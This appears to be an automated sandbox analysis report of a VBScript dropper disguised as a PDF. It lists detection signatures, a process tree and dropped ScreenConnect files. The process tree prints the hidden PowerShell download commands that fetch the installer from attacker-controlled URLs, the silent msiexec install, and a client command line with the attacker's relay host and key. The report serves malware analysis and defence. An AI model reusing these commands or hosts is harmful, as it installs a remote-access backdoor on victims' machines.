Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    11/05/2026, 12:18

General

  • Target
    ALL CONTROL_PDF.vbs
  • Size 9KB
  • Sample260511-pgwjesc15k
  • SHA256 f212271b0b43e80ed845aa34bf1f420ed2e9668b2642f4c0347979d250e2e3e9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ALL CONTROL_PDF.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1540
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\ALL CONTROL_PDF.vbs" /elevate
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://anismegamart.com/wp-includes/Requests/src/Exception/Transport/work.pdf' -OutFile 'C:\Users\Admin\AppData\Local\Temp\mds.pdf'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1872
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://donlagoteams.online/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'C:\Users\Admin\AppData\Local\Temp\SC_Setup.msi'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4624
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\SC_Setup.msi" /qn /norestart
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1664
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2268
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 54271B1A0CBBFD3AEFBD1A14702B13E7
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1048
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIE74E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240707718 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4040
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E187B918E779E5917D8468618D39D239 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2264
  • C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=donlagoteams.online&p=8080&s=9c97e401-3a19-444f-a5db-03cf1fe71db6&k=BgIAAACkAABSU0ExAAgAAAEAAQCFJFQtKymQRjC4jF4m%2bBYm7%2bFQ26j4RSiPX%2fVhmDToO2PkkLL4HQGWXhl8qyvbEBYBczXsBkhDW2hOND%2bM5tbwKEoZ4zMUUv91srLVArsjFqHmB%2bRN7Sn0Xtmk4DOwkUJkOBs2T2i8rH9o7Dm0rzdHCICAz5JoqfGYk5qEBvoq7smpCE1pNhqdpPRYBHAiODZ4vvFiOLLYIaHVof8UGr7OLWZ3rUsIIjIn%2bd9DbMi%2b%2bVxWqF9CVJw4lLLR2IuNZbWF8KekSrsoVXE%2b%2bjPm7MHo%2bp3b%2fyX9ljnUk5hX75U8tyuxOZMq2wW2fLbOPrJ8HDc2W1pl6zmCwrFBQ%2fpT6mq5"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4660
    • C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.WindowsClient.exe" "RunRole" "67fde78a-42fd-48fc-9df9-59959483eccf" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4300
    • C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.WindowsClient.exe" "RunRole" "274e3f52-3b42-4097-8db9-a29b40d01040" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:4292

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e58e5e9.rbs

        • Path C:\Config.Msi\e58e5e9.rbs
        • Size 214KB
        • SHA256 08b4c913d074ae81f0ddaca57573a6e4f2e1a24cfa33310d9b915c0acce4c45e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\Client.Override.en-US.resources
        • Size 426B
        • SHA256 4ae57b70477e37c79d72250169496b375be3b50cacfc2d823ef75f051ad710d4
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\Client.Override.resources
        • Size 286B
        • SHA256 05332955a2fe9efcb88a87941fce82869ae11404fb056692875e5eb3967f2362
        • MD5 SHA1 SHA512 TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\Client.en-US.resources
        • Size 48KB
        • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.WindowsClient.exe
        • Size 593KB
        • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\app.config
        • Size 729B
        • SHA256 4fdc95033b839df585a84367d72fe0aa20439c31034f46403de6b05504d1e726
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4b70617a16174ef5)\system.config
        • Size 951B
        • SHA256 234a1e05d8246999412f8fa5111298e6c7459b9e00e6261323a5a9a10dc16e93
        • MD5 SHA1 SHA512 TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 9838327e8f105ead334d4a944821514ee92ebc8a24af61f891b43929f93e4c37
        • MD5 SHA1 SHA512 TLSH

        SC_Setup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\SC_Setup.msi
        • Size 12.8MB
        • SHA256 779f84d3bb96d3b448eacc1e91816aa39e82e4f00fda0c01cfdc61ca4890f3a2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_qgnovj3m.x4d.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qgnovj3m.x4d.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        MSIE74E.tmp

        • Path C:\Windows\Installer\MSIE74E.tmp
        • Size 1.0MB
        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIE74E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIE74E.tmp-\ScreenConnect.Core.dll
        • Size 538KB
        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIE74E.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSIE74E.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIEDA9.tmp

        • Path C:\Windows\Installer\MSIEDA9.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1540-0-0x000001B882B20000-0x000001B882B2C000-memory.dmp

        memory/1872-15-0x000002492D590000-0x000002492D59C000-memory.dmp

        memory/1872-10-0x000002492D590000-0x000002492D59C000-memory.dmp

        memory/1872-8-0x000002492DC00000-0x000002492DC22000-memory.dmp

        memory/3260-9-0x00000258CD770000-0x00000258CD77C000-memory.dmp

        memory/3260-142-0x00000258CD770000-0x00000258CD77C000-memory.dmp

        memory/4040-64-0x0000000004CE0000-0x0000000004E8C000-memory.dmp

        memory/4040-60-0x0000000004AA0000-0x0000000004B2C000-memory.dmp

        memory/4040-56-0x0000000004A00000-0x0000000004A0A000-memory.dmp

        memory/4040-65-0x0000000005440000-0x00000000059E4000-memory.dmp

        memory/4040-52-0x00000000049C0000-0x00000000049EE000-memory.dmp

        memory/4040-71-0x0000000000950000-0x0000000000A23000-memory.dmp

        memory/4292-159-0x0000000000BE0000-0x0000000000BEC000-memory.dmp

        memory/4300-149-0x0000000000950000-0x00000000009E8000-memory.dmp

        memory/4300-156-0x000000001B810000-0x000000001B851000-memory.dmp

        memory/4300-160-0x0000000001160000-0x000000000116C000-memory.dmp

        memory/4300-155-0x000000001B4E0000-0x000000001B4F8000-memory.dmp

        memory/4300-154-0x000000001B460000-0x000000001B478000-memory.dmp

        memory/4300-153-0x000000001BE20000-0x000000001BFA6000-memory.dmp

        memory/4300-151-0x000000001B8A0000-0x000000001B92C000-memory.dmp

        memory/4300-152-0x000000001BAE0000-0x000000001BC8C000-memory.dmp

        memory/4300-150-0x000000001B4A0000-0x000000001B4D6000-memory.dmp

        memory/4624-30-0x0000025D15830000-0x0000025D1583C000-memory.dmp

        memory/4624-26-0x0000025D15830000-0x0000025D1583C000-memory.dmp

        memory/4660-117-0x0000000004470000-0x00000000044C0000-memory.dmp

        memory/4660-121-0x00000000044C0000-0x00000000044F6000-memory.dmp

        memory/4660-122-0x0000000004790000-0x0000000004822000-memory.dmp

        memory/4660-126-0x0000000004970000-0x0000000004A45000-memory.dmp

        memory/4660-124-0x0000000004500000-0x0000000004541000-memory.dmp

        memory/4660-106-0x0000000001BE0000-0x0000000001BF8000-memory.dmp